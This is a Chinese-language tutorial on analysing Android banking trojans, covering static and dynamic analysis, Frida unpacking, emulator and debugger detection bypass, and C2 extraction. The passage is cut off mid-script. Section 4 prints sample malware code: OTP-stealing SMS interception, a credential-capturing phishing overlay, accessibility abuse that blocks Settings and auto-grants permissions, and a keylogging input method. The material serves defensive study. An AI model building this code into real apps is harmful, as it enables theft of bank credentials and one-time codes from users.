安卓银行木马分析案例

安卓恶意软件分析实战

📚 前置知识

本案例涉及以下核心技术,建议先阅读相关章节:

恶意软件分析是逆向工程的一个重要应用领域。与常规 App 分析不同,分析恶意软件更关注其隐藏行为持久化机制窃密手段以及C2 (Command & Control) 通信

本案例将系统性地介绍 Android 恶意软件分析的完整方法论,并以一个典型的 Android 银行木马 (Banking Trojan) 作为贯穿始终的实战案例。

免责声明: 本文内容仅供安全研究和学习使用。所有样本分析均在隔离环境中进行。请勿将文中技术用于非法目的。


Android 恶意软件分类

在开始分析之前,了解恶意软件的种类有助于快速判断样本属于哪一类并确定分析重点。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──────────────────────────────────────────────────────────────────────┐
│                  Android 恶意软件分类体系                              │
├──────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌────────────┐ ┌────────────┐ ┌────────────┐ ┌────────────┐        │
│  │ 银行木马   │ │ 勒索软件   │ │  间谍软件  │ │  广告软件  │        │
│  │ Banking    │ │ Ransomware │ │  Spyware   │ │  Adware    │        │
│  │ Trojan     │ │            │ │            │ │            │        │
│  ├────────────┤ ├────────────┤ ├────────────┤ ├────────────┤        │
│  │ 覆盖攻击  │ │ 加密文件   │ │ GPS 追踪   │ │ 弹窗广告   │        │
│  │ 短信拦截  │ │ 锁定屏幕   │ │ 通话录音   │ │ 后台点击   │        │
│  │ 窃取凭证  │ │ 勒索赎金   │ │ 相机拍照   │ │ 流量欺诈   │        │
│  └────────────┘ └────────────┘ └────────────┘ └────────────┘        │
│                                                                      │
│  ┌────────────┐ ┌────────────┐ ┌────────────┐                       │
│  │  远控木马  │ │  蠕虫病毒  │ │  挖矿木马  │                       │
│  │  RAT       │ │  Worm      │ │ Cryptominer│                       │
│  ├────────────┤ ├────────────┤ ├────────────┤                       │
│  │ 远程控制  │ │ 短信传播   │ │ 后台挖矿   │                       │
│  │ 屏幕监控  │ │ 自我复制   │ │ 耗电耗流量 │                       │
│  │ 文件窃取  │ │ 社交传播   │ │ 性能下降   │                       │
│  └────────────┘ └────────────┘ └────────────┘                       │
│                                                                      │
└──────────────────────────────────────────────────────────────────────┘

主要类别详细对照表

类别代表家族核心行为关键权限分析重点
银行木马Anubis, Cerberus, SharkBot覆盖攻击、短信拦截、凭证窃取BIND_ACCESSIBILITY_SERVICE, RECEIVE_SMS, SYSTEM_ALERT_WINDOW目标 App 列表、覆盖页面、C2 通信
勒索软件DoubleLocker, Koler, Simplocker文件加密、屏幕锁定、勒索赎金WRITE_EXTERNAL_STORAGE, BIND_DEVICE_ADMIN加密算法、密钥管理、解锁条件
间谍软件Pegasus, Hermit, PhoneSpyGPS 定位、通话录音、消息窃取ACCESS_FINE_LOCATION, RECORD_AUDIO, READ_CONTACTS数据采集范围、回传频率、触发条件
广告软件HiddenAds, xHelper, Joker强制弹窗、后台点击、订阅欺诈INTERNET, ACCESS_WIFI_STATE广告 SDK 来源、订阅扣费逻辑
远控木马 (RAT)AhMyth, AndroRAT, SpyNote完全远程控制、屏幕实时投影几乎申请所有权限C2 协议、控制指令集、持久化机制
挖矿木马CoinHive, HiddenMiner后台加密货币挖矿INTERNET, WAKE_LOCK挖矿算法、矿池地址、资源占用策略
蠕虫病毒Filecoder, Cabir短信/社交传播、自我复制SEND_SMS, READ_CONTACTS传播载体、感染链、Payload 投递

识别类别的快速方法

在拿到一个未知样本后,可以通过以下方法快速分类:

  1. 权限特征 - 申请 BIND_ACCESSIBILITY_SERVICE + RECEIVE_SMS 大概率是银行木马
  2. Manifest 组件 - 注册了 DeviceAdminReceiver 可能是勒索软件
  3. 字符串特征 - 包含 bitcoin, monero, stratum 等关键词指向挖矿木马
  4. 网络行为 - 频繁连接特定 IP 或使用 Telegram Bot API 常见于 RAT/银行木马
  5. APKiD 扫描 - 快速识别加壳类型和编译器特征

静态分析流程

静态分析是恶意软件分析的第一步,不运行样本即可提取大量有价值的信息。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌─────────────────────────────────────────────────────────────┐
│                    静态分析完整流程                           │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  [样本获取] ──> [哈希计算] ──> [VirusTotal 查询]             │
│       │                              │                      │
│       v                              v                      │
│  [APKiD 扫描] ──> [是否加壳?]    [已知家族?]               │
│       │              │    │          │                      │
│       │           N  │    │ Y        │                      │
│       v              v    v          v                      │
│  [APK 解包]    [直接分析] [脱壳处理] [参考已有报告]          │
│       │              │        │                             │
│       v              v        v                             │
│  [Manifest 分析] ──────────────>                            │
│       │                                                     │
│       v                                                     │
│  [权限分析] ──> [入口点定位] ──> [代码审查]                  │
│       │              │               │                      │
│       v              v               v                      │
│  [字符串提取] ──> [加密逻辑] ──> [IOC 提取]                 │
│                                                             │
└─────────────────────────────────────────────────────────────┘

2.1 样本信息采集

拿到样本后的第一步是计算哈希值并查询威胁情报:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 计算样本各类哈希值
md5sum suspicious.apk
sha1sum suspicious.apk
sha256sum suspicious.apk

# 使用 file 命令确认文件类型
file suspicious.apk

# 使用 aapt 快速提取包名和版本
aapt dump badging suspicious.apk | grep -E "package|sdkVersion|uses-permission"

2.2 Manifest 深度审查

AndroidManifest.xml 是分析的核心切入点,恶意行为的诸多线索都暴露在这里。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<!-- 恶意软件典型 Manifest 特征 -->
<manifest package="com.system.update">  <!-- 伪装系统更新 -->

  <!-- 危险权限组合 -->
  <uses-permission android:name="android.permission.RECEIVE_SMS"/>
  <uses-permission android:name="android.permission.READ_SMS"/>
  <uses-permission android:name="android.permission.SEND_SMS"/>
  <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
  <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
  <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
  <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>

  <application>
    <!-- 隐藏图标 -->
    <activity android:name=".MainActivity">
      <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <!-- 注意:恶意软件安装后可能动态禁用此组件以隐藏图标 -->
        <category android:name="android.intent.category.LAUNCHER"/>
      </intent-filter>
    </activity>

    <!-- 无障碍服务 (核心恶意组件) -->
    <service
      android:name=".services.MyAccessibilityService"
      android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
      <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService"/>
      </intent-filter>
      <meta-data
        android:name="android.accessibilityservice"
        android:resource="@xml/accessibility_config"/>
    </service>

    <!-- 短信接收器 -->
    <receiver android:name=".receivers.SmsReceiver"
              android:permission="android.permission.BROADCAST_SMS">
      <intent-filter android:priority="999">  <!-- 高优先级抢先拦截 -->
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
      </intent-filter>
    </receiver>

    <!-- 开机自启 (持久化) -->
    <receiver android:name=".receivers.BootReceiver">
      <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED"/>
      </intent-filter>
    </receiver>

    <!-- 设备管理器 (防止卸载) -->
    <receiver android:name=".receivers.AdminReceiver"
              android:permission="android.permission.BIND_DEVICE_ADMIN">
      <meta-data
        android:name="android.app.device_admin"
        android:resource="@xml/device_admin"/>
    </receiver>
  </application>
</manifest>

恶意权限速查表

权限恶意用途危险等级
RECEIVE_SMS / READ_SMS拦截银行验证码
SEND_SMS发送付费短信、蠕虫传播
BIND_ACCESSIBILITY_SERVICE覆盖攻击、键盘记录、自动操作极高
SYSTEM_ALERT_WINDOW覆盖攻击 (Overlay)
BIND_DEVICE_ADMIN防止卸载、锁定屏幕极高
RECEIVE_BOOT_COMPLETED开机自启、持久化
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS保活,后台持续运行
RECORD_AUDIO通话录音、环境监听
ACCESS_FINE_LOCATIONGPS 定位追踪
CAMERA偷拍
READ_CONTACTS窃取通讯录
WRITE_EXTERNAL_STORAGE加密文件 (勒索)

2.3 字符串提取与分析

字符串是恶意软件分析的金矿,包含 C2 地址、加密密钥、目标 App 列表等。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 使用 strings 提取可读字符串
strings suspicious.apk | sort -u > strings_output.txt

# 筛选可能的 URL/域名
strings suspicious.apk | grep -iE "https?://|\.com|\.net|\.org|\.xyz|\.top"

# 筛选可能的 IP 地址
strings suspicious.apk | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"

# 筛选可能的 Base64 编码内容
strings suspicious.apk | grep -E "^[A-Za-z0-9+/]{20,}={0,2}$"

# 搜索 Telegram Bot Token 格式
strings suspicious.apk | grep -E "[0-9]{8,10}:[A-Za-z0-9_-]{35}"

2.4 代码审查方法论

使用 Jadx 反编译后,按照以下优先级审查代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
分析优先级:
  ┌─────────────────────────────────────────┐
  │ 1. Application.onCreate()               │  <-- 应用启动入口
  │ 2. AccessibilityService 实现            │  <-- 核心恶意逻辑
  │ 3. BroadcastReceiver 实现               │  <-- 短信拦截、开机自启
  │ 4. Service 实现                         │  <-- 后台持久化
  │ 5. 网络通信类                           │  <-- C2 通信
  │ 6. 加密/解密相关类                      │  <-- 密钥和算法
  │ 7. assets / res/raw 资源文件            │  <-- 加密配置、远程 DEX
  └─────────────────────────────────────────┘

Jadx 中的关键搜索模式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 在 Jadx 中使用 "Text Search" (Ctrl+Shift+F) 搜索以下关键词:

# C2 相关
"http"  "https"  "socket"  "websocket"  "api.telegram.org"

# 加密相关
"AES"  "DES"  "RSA"  "Base64"  "cipher"  "encrypt"  "decrypt"  "SecretKey"

# 敏感 API
"getDeviceId"  "getSubscriberId"  "getSimSerialNumber"  "getLine1Number"
"getAccounts"  "SmsManager"  "ContentResolver"

# 持久化
"AlarmManager"  "JobScheduler"  "WorkManager"  "startForeground"

# 反分析
"Build.FINGERPRINT"  "Build.MODEL"  "isDebuggerConnected"  "/proc/"

动态分析流程

静态分析后进入动态分析阶段,在受控环境中运行样本观察其真实行为。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌─────────────────────────────────────────────────────────────────┐
│                    动态分析环境架构                               │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  ┌──────────────────────────────────────────┐                   │
│  │           分析主机 (Host)                 │                   │
│  │                                          │                   │
│  │  ┌──────────┐  ┌──────────┐  ┌────────┐  │                   │
│  │  │ Wireshark│  │ Burp     │  │ Frida  │  │                   │
│  │  │ 抓包     │  │ Suite    │  │ Server │  │                   │
│  │  └────┬─────┘  └────┬─────┘  └───┬────┘  │                   │
│  │       │              │            │       │                   │
│  └───────┼──────────────┼────────────┼───────┘                   │
│          │              │            │                           │
│     ┌────v──────────────v────────────v────┐                     │
│     │       隔离网络 (Isolated VLAN)       │                     │
│     └────────────────┬───────────────────┘                     │
│                      │                                          │
│     ┌────────────────v───────────────────┐                     │
│     │        分析设备 / 模拟器            │                     │
│     │                                    │                     │
│     │  ┌────────────┐  ┌──────────────┐  │                     │
│     │  │ 恶意样本   │  │ Frida Agent  │  │                     │
│     │  │ (Sandbox)  │  │ frida-server │  │                     │
│     │  └────────────┘  └──────────────┘  │                     │
│     └────────────────────────────────────┘                     │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

3.1 沙箱环境搭建

安全准则: 绝不在日常使用的设备上运行恶意样本。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 方案 1: 使用 Android 模拟器 (推荐初学者)
# 创建一个无 Google Play 服务的干净模拟器
emulator -avd malware_analysis -no-snapshot -wipe-data

# 方案 2: 使用专用物理设备
# 恢复出厂设置后,断开 SIM 卡,使用 WiFi 连接隔离网络

# 方案 3: 使用云端沙箱
# - Joe Sandbox Mobile
# - Hybrid Analysis
# - VirusTotal (自带沙箱分析)

分析设备准备清单:

准备项说明命令/操作
Root 权限需要 root 才能运行 FridaMagisk / 模拟器自带 root
Frida Server部署 frida-server 到设备adb push frida-server /data/local/tmp/
证书安装安装 Burp/mitmproxy 证书到系统级别写入 /system/etc/security/cacerts/
tcpdump设备端抓包adb push tcpdump /data/local/tmp/
快照创建干净环境快照便于重置模拟器快照 / TWRP 备份
DNS 配置设置 DNS 到分析主机或受控 DNS修改 WiFi 配置

3.2 网络流量捕获

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 方法 1: 使用 mitmproxy 捕获 HTTP(S) 流量
mitmproxy --mode transparent --showhost -w malware_traffic.flow

# 方法 2: 使用 tcpdump 在设备端全量抓包
adb shell "/data/local/tmp/tcpdump -i any -s 0 -w /sdcard/capture.pcap"
adb pull /sdcard/capture.pcap

# 方法 3: 使用 Wireshark 在主机端监听
# 将设备流量通过主机转发后在 Wireshark 中分析

# 分析 DNS 请求 (定位 C2 域名)
tshark -r capture.pcap -Y "dns.qr == 0" -T fields -e dns.qry.name | sort -u

# 提取 HTTP 请求
tshark -r capture.pcap -Y "http.request" -T fields \
  -e ip.dst -e http.host -e http.request.uri

3.3 行为监控

使用 stracelogcat 监控系统调用和日志输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 监控文件操作
adb shell "strace -f -e trace=open,openat,write,unlink \
  -p $(pidof com.malware.package) 2>&1" | tee file_ops.log

# 过滤目标进程日志
adb logcat --pid=$(adb shell pidof com.malware.package)

# 监控网络连接
adb shell "cat /proc/$(pidof com.malware.package)/net/tcp"

# 监控新文件创建 (使用 inotifywait)
adb shell "inotifywait -m -r /data/data/com.malware.package/"

3.4 Frida 动态插桩概览

Frida 是恶意软件动态分析的核心工具,能在不修改 APK 的情况下监控所有关键 API 调用。后续章节将给出完整的分析脚本。

1
2
3
4
5
# 以 spawn 模式启动恶意样本 (推荐,可捕获初始化行为)
frida -U -f com.malware.package -l monitor.js --no-pause

# 附加到正在运行的进程
frida -U com.malware.package -l monitor.js

常见恶意行为识别

本节详细剖析 Android 恶意软件最常使用的攻击手法及其技术实现。

4.1 短信拦截 (SMS Interception)

银行木马的核心功能之一,用于窃取银行 OTP (一次性密码):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class SmsReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Object[] pdus = (Object[]) intent.getExtras().get("pdus");
        for (Object pdu : pdus) {
            SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu);
            String body = sms.getMessageBody();
            String sender = sms.getOriginatingAddress();

            // Upload SMS to C2 Server
            uploadSmsToC2(sender, body);

            // If SMS contains "verification code" or other key words,
            // intercept the broadcast so user cannot see it
            if (is2FACode(body)) {
                abortBroadcast();
            }
        }
    }

    private boolean is2FACode(String body) {
        // 检测是否包含验证码相关关键词
        String[] keywords = {"验证码", "verification", "code", "OTP",
                             "动态密码", "确认码", "安全码"};
        for (String kw : keywords) {
            if (body.toLowerCase().contains(kw.toLowerCase())) {
                return true;
            }
        }
        return false;
    }
}

检测要点:

  • BroadcastReceiverpriority 设为极高值 (如 999),抢在系统短信应用之前收到广播
  • 调用 abortBroadcast() 阻止短信通知到达用户
  • Android 4.4+ 后默认短信 App 机制使这种攻击更加复杂,恶意软件可能尝试将自身设为默认短信 App

4.2 覆盖攻击 (Overlay Attack)

覆盖攻击是银行木马最典型的凭证窃取手段:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌─────────────────────────────────────────────────────────────┐
│                 覆盖攻击工作流程                              │
│                                                             │
│  [用户打开银行 App]                                          │
│         │                                                   │
│         v                                                   │
│  [无障碍服务检测到目标包名]                                    │
│         │                                                   │
│         v                                                   │
│  [从 C2 下载对应银行的钓鱼页面]                               │
│         │                                                   │
│         v                                                   │
│  [使用 SYSTEM_ALERT_WINDOW 创建全屏覆盖窗口]                  │
│         │                                                   │
│         v                                                   │
│  ┌──────────────────────────────────┐                       │
│  │  用户看到的界面 (假的银行登录页)   │                       │
│  │  ┌──────────────────────────┐    │                       │
│  │  │  Logo: [银行图标]        │    │                       │
│  │  │                          │    │                       │
│  │  │  用户名: [___________]   │    │  <-- WebView 钓鱼页面  │
│  │  │  密码:   [___________]   │    │                       │
│  │  │                          │    │                       │
│  │  │  [     登  录     ]      │    │                       │
│  │  └──────────────────────────┘    │                       │
│  └──────────────────────────────────┘                       │
│         │                                                   │
│         v                                                   │
│  [用户输入凭证] ──> [JavaScript 回传 Java 层]                │
│         │                                                   │
│         v                                                   │
│  [上传至 C2 服务器]                                          │
│                                                             │
└─────────────────────────────────────────────────────────────┘
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 覆盖攻击的核心实现
private void showOverlay(String targetPackage) {
    // 从 C2 下载或从本地加载对应银行的钓鱼 HTML
    String phishingUrl = getPhishingPage(targetPackage);

    // 创建全屏覆盖 Window
    WindowManager.LayoutParams params = new WindowManager.LayoutParams(
        WindowManager.LayoutParams.MATCH_PARENT,
        WindowManager.LayoutParams.MATCH_PARENT,
        WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,  // Android 8.0+
        WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
            | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN,
        PixelFormat.TRANSLUCENT
    );

    WebView webView = new WebView(this);
    webView.getSettings().setJavaScriptEnabled(true);

    // 注册 JS Bridge,用于接收用户输入的凭证
    webView.addJavascriptInterface(new Object() {
        @JavascriptInterface
        public void onCredentialsCaptured(String username, String password) {
            // 发送到 C2
            sendToC2(targetPackage, username, password);
            // 移除覆盖窗口,显示真实的银行 App
            removeOverlay();
        }
    }, "AndroidBridge");

    webView.loadUrl(phishingUrl);
    windowManager.addView(webView, params);
}

4.3 无障碍服务滥用 (Accessibility Abuse)

无障碍服务是 Android 恶意软件最强大的武器,它可以:

能力恶意用途实现方式
读取屏幕内容窃取显示的敏感信息event.getText()
模拟点击自动授权权限、安装 APKperformAction(ACTION_CLICK)
模拟手势绕过手势解锁dispatchGesture()
监控窗口变化检测目标 App 启动TYPE_WINDOW_STATE_CHANGED
读取输入框键盘记录TYPE_VIEW_TEXT_CHANGED
全局操作阻止用户进入设置卸载performGlobalAction(BACK)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public void onAccessibilityEvent(AccessibilityEvent event) {
    String packageName = event.getPackageName().toString();

    // 1. Auto grant permissions (Self-Protection & Persistence)
    if (packageName.equals("com.android.settings")) {
        // If user opens settings page to uninstall or disable permissions,
        // malware will auto click "Back" or "Cancel"
        performGlobalAction(GLOBAL_ACTION_BACK);
    }

    // 2. Monitor target banking apps
    if (TARGET_BANK_APPS.contains(packageName)) {
        // Detected victim opened banking app
        showOverlay(packageName);
    }

    // 3. Keyboard recording (Keylogging)
    if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
        String text = event.getText().toString();
        logKey(text);
    }

    // 4. Auto-click to grant runtime permissions
    if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
        AccessibilityNodeInfo root = getRootInActiveWindow();
        if (root != null) {
            // 自动点击 "允许" 按钮
            List<AccessibilityNodeInfo> nodes =
                root.findAccessibilityNodeInfosByText("允许");
            if (!nodes.isEmpty()) {
                nodes.get(0).performAction(AccessibilityNodeInfo.ACTION_CLICK);
            }
        }
    }
}

4.4 键盘记录 (Keylogging)

除了无障碍服务方式外,恶意软件还可能通过自定义输入法实现键盘记录:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
// 方式 1: 通过无障碍服务 (最常见)
// 见上面 TYPE_VIEW_TEXT_CHANGED 的处理

// 方式 2: 恶意输入法
public class MaliciousIME extends InputMethodService {
    @Override
    public void onText(CharSequence text) {
        super.onText(text);
        logKeystroke(text.toString());
    }

    @Override
    public void onKey(int primaryCode, int[] keyCodes) {
        char c = (char) primaryCode;
        logKeystroke(String.valueOf(c));
    }
}

4.5 C2 通信模式识别

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌─────────────────────────────────────────────────────────────┐
│               常见 C2 通信模式                                │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  模式 1: 直连 HTTP/HTTPS                                    │
│  ┌────────┐    HTTPS POST     ┌──────────┐                 │
│  │ 恶意App │ ───────────────> │ C2 Server │                 │
│  └────────┘    JSON/加密体     └──────────┘                 │
│                                                             │
│  模式 2: Telegram Bot API                                   │
│  ┌────────┐    HTTPS          ┌──────────┐   Bot API       │
│  │ 恶意App │ ───────────────> │ Telegram │ ──────────>     │
│  └────────┘                   │ Server   │  攻击者 Bot      │
│                               └──────────┘                 │
│                                                             │
│  模式 3: Firebase / 云服务                                   │
│  ┌────────┐    HTTPS          ┌──────────┐                 │
│  │ 恶意App │ ───────────────> │ Firebase │                  │
│  └────────┘                   │ Firestore│                  │
│                               └──────────┘                 │
│                                     ↑                      │
│                                攻击者通过控制台读取          │
│                                                             │
│  模式 4: DGA (域名生成算法)                                  │
│  ┌────────┐    基于日期/种子    ┌──────────┐                 │
│  │ 恶意App │ ──生成域名──────> │ 动态 C2  │                  │
│  └────────┘    abc123.xyz      └──────────┘                 │
│                def456.top                                   │
│                ghi789.cc                                    │
│                                                             │
└─────────────────────────────────────────────────────────────┘

加壳与反分析绕过

恶意软件作者会使用各种手段防止被逆向分析。本节介绍如何应对这些保护措施。

5.1 常见加壳类型

壳类型代表识别方法脱壳策略
商业壳360 加固、腾讯乐固、梆梆APKiD 扫描DexDump / FART / FDex2
自定义壳恶意软件自实现入口类为壳代码Frida Hook DexClassLoader
VMP 壳指令虚拟化Native 方法极多追踪解释器循环
DEX 加密assets 中加密的 DEX文件熵值分析Hook defineClass / 内存 Dump

5.2 使用 APKiD 识别壳

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 安装 APKiD
pip install apkid

# 扫描样本
apkid suspicious.apk

# 输出示例:
# [+] suspicious.apk!classes.dex
#  |-> compiler : dexlib 2.x
#  |-> packer : DexProtector
#  |-> anti_vm : Build.FINGERPRINT check
#  |-> anti_debug : Debug.isDebuggerConnected

5.3 Frida 脱壳脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// 通用脱壳思路: Hook DexClassLoader/InMemoryDexClassLoader
// 在 DEX 被解密加载到内存时 dump 出来

Java.perform(function() {

    // Hook DexClassLoader 构造函数
    var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
    DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
        console.log("[*] DexClassLoader 加载 DEX:");
        console.log("    dexPath: " + dexPath);
        console.log("    optDir:  " + optDir);

        // 读取 DEX 文件内容
        var File = Java.use("java.io.File");
        var f = File.$new(dexPath);
        if (f.exists()) {
            console.log("    大小: " + f.length() + " bytes");
            // 复制文件到可访问的目录
            copyFile(dexPath, "/data/local/tmp/dumped_" + Date.now() + ".dex");
        }

        return this.$init(dexPath, optDir, libPath, parent);
    };

    // Hook InMemoryDexClassLoader (Android 8.0+)
    try {
        var InMemoryDexClassLoader = Java.use("dalvik.system.InMemoryDexClassLoader");
        InMemoryDexClassLoader.$init.overload(
            "java.nio.ByteBuffer", "java.lang.ClassLoader"
        ).implementation = function(buf, parent) {
            console.log("[*] InMemoryDexClassLoader 内存加载 DEX");
            console.log("    大小: " + buf.remaining() + " bytes");

            // Dump ByteBuffer 内容
            var bytes = new Array(buf.remaining());
            for (var i = 0; i < bytes.length; i++) {
                bytes[i] = buf.get();
            }
            buf.position(0);  // 重置位置

            var arr = Java.array("byte", bytes);
            var fos = Java.use("java.io.FileOutputStream");
            var out = fos.$new("/data/local/tmp/inmem_" + Date.now() + ".dex");
            out.write(arr);
            out.close();
            console.log("[*] DEX 已 dump 到 /data/local/tmp/");

            return this.$init(buf, parent);
        };
    } catch(e) {
        console.log("[-] InMemoryDexClassLoader hook 失败: " + e);
    }

    // Hook defineClass 捕获所有类加载
    var ClassLoader = Java.use("java.lang.ClassLoader");
    ClassLoader.defineClass.overload(
        "java.lang.String", "java.nio.ByteBuffer",
        "java.security.ProtectionDomain"
    ).implementation = function(name, buf, domain) {
        console.log("[*] defineClass: " + name);
        return this.defineClass(name, buf, domain);
    };
});

function copyFile(src, dst) {
    Java.perform(function() {
        var FileInputStream = Java.use("java.io.FileInputStream");
        var FileOutputStream = Java.use("java.io.FileOutputStream");
        var fis = FileInputStream.$new(src);
        var fos = FileOutputStream.$new(dst);
        var buf = Java.array("byte", new Array(4096).fill(0));
        var len;
        while ((len = fis.read(buf)) > 0) {
            fos.write(buf, 0, len);
        }
        fis.close();
        fos.close();
        console.log("[+] 文件已复制到: " + dst);
    });
}

5.4 绕过反模拟器检测

恶意软件检测模拟器以避免在沙箱中暴露行为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// 常见模拟器检测点及 Frida 绕过

Java.perform(function() {

    var Build = Java.use("android.os.Build");

    // 伪造设备指纹
    Build.FINGERPRINT.value = "samsung/dream2ltexx/dream2lte:9/PPR1.180610.011:eng/user";
    Build.MODEL.value = "SM-G955F";
    Build.MANUFACTURER.value = "samsung";
    Build.BRAND.value = "samsung";
    Build.DEVICE.value = "dream2lte";
    Build.PRODUCT.value = "dream2ltexx";
    Build.HARDWARE.value = "samsungexynos8895";
    Build.BOARD.value = "universal8895";

    // 绕过电话号码检测
    var TelephonyManager = Java.use("android.telephony.TelephonyManager");
    TelephonyManager.getLine1Number.implementation = function() {
        return "+8613800138000";
    };
    TelephonyManager.getDeviceId.overload().implementation = function() {
        return "352840071234567";
    };
    TelephonyManager.getSubscriberId.implementation = function() {
        return "460001234567890";
    };
    TelephonyManager.getSimOperatorName.implementation = function() {
        return "中国移动";
    };
    TelephonyManager.getNetworkOperatorName.implementation = function() {
        return "中国移动";
    };

    // 绕过文件检测 (模拟器特有文件)
    var File = Java.use("java.io.File");
    File.exists.implementation = function() {
        var path = this.getAbsolutePath();
        var emulatorFiles = [
            "/dev/socket/qemud",
            "/dev/qemu_pipe",
            "/system/lib/libc_malloc_debug_qemu.so",
            "/sys/qemu_trace",
            "/system/bin/qemu-props",
            "/dev/goldfish_pipe"
        ];
        for (var i = 0; i < emulatorFiles.length; i++) {
            if (path === emulatorFiles[i]) {
                console.log("[*] 模拟器文件检测已绕过: " + path);
                return false;
            }
        }
        return this.exists();
    };
});

5.5 绕过反调试检测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 绕过 Debug.isDebuggerConnected()
Java.perform(function() {
    var Debug = Java.use("android.os.Debug");
    Debug.isDebuggerConnected.implementation = function() {
        console.log("[*] isDebuggerConnected() 已绕过");
        return false;
    };
});

// 绕过 /proc/self/status TracerPid 检测 (Native 层)
Interceptor.attach(Module.findExportByName("libc.so", "fopen"), {
    onEnter: function(args) {
        var path = args[0].readUtf8String();
        if (path && path.indexOf("/proc/") !== -1 && path.indexOf("/status") !== -1) {
            this.isProcStatus = true;
        }
    },
    onLeave: function(retval) {}
});

Interceptor.attach(Module.findExportByName("libc.so", "fgets"), {
    onEnter: function(args) {
        this.buf = args[0];
    },
    onLeave: function(retval) {
        if (this.buf) {
            var content = this.buf.readUtf8String();
            if (content && content.indexOf("TracerPid") !== -1) {
                this.buf.writeUtf8String("TracerPid:\t0\n");
                console.log("[*] TracerPid 检测已绕过");
            }
        }
    }
});

C2 通信协议分析

C2 (Command & Control) 通信是恶意软件的命脉,切断 C2 就能使恶意软件瘫痪。

6.1 定位 C2 地址

C2 地址的存储方式从简单到复杂:

隐藏方式难度提取方法
明文硬编码字符串搜索
Base64 编码解码字符串
异或加密静态分析加密函数
AES/DES 加密存储Hook 解密函数或提取密钥
存储在资源文件中解包分析 assets/res
Native SO 中硬编码IDA Pro 分析
DGA (域名生成算法)逆向算法并生成域名列表
多层跳板 (Dead Drop)追踪跳转链
隐写术 (图片中隐藏)分析解码算法
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// Frida 脚本: 自动提取 C2 地址
// Hook 所有网络连接相关 API

Java.perform(function() {

    // Hook URL 构造
    var URL = Java.use("java.net.URL");
    URL.$init.overload("java.lang.String").implementation = function(url) {
        console.log("[URL] " + url);
        return this.$init(url);
    };

